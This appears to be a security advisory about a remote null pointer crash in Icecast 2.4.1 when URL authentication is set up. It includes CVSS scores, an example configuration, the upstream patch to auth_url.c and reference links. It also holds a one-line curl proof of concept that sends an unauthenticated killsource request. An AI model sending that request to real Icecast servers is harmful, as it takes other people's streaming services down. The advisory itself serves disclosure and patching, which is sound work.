Icecast 2.4.1 Null Pointer DoS

2015-04-30 / 2015-05-01
Credit: dm8tbr
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Icecast can be killed by anyone with a simple HTTP request when <authentication type="url"> is used and a stream_auth handler is defined. Example configuration: <mount> <mount-name>/test.ogg</mount-name> <authentication type="url"> <option name="stream_auth" value="http://localhost/auth"/> </authentication> </mount> Proof of concept exploit: curl "http://stream.example.org:8000/admin/killsource?mount=/test.ogg" This happens if no logon credentials are sent with the request. The crash happens regardless of a source client being connected to the vulnerable mountpoint. Index: src/auth_url.c =================================================================== --- a/src/auth_url.c +++ b/src/auth_url.c @@ -540,7 +540,17 @@ port = config->port; config_release_config (); - user = util_url_escape (client->username); - pass = util_url_escape (client->password); ipaddr = util_url_escape (client->con->ip); + + if (client->username) { + user = util_url_escape(client->username); + } else { + user = strdup(""); + } + + if (client->password) { + pass = util_url_escape(client->password); + } else { + pass = strdup(""); + } snprintf (post, sizeof (post),

References:

https://trac.xiph.org/ticket/2191
https://trac.xiph.org/changeset/27abfbbd688df3e3077b535997330aa06603250f/icecast-server
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=782120
http://www.openwall.com/lists/oss-security/2015/04/08/8
http://www.openwall.com/lists/oss-security/2015/04/08/11
http://lists.xiph.org/pipermail/icecast-dev/2015-April/002460.html
http://lists.opensuse.org/opensuse-updates/2015-04/msg00030.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top